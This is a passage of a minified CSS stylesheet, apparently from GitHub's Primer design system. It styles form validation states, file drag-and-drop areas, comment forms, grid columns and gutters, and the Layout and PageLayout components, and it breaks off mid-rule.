.form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - 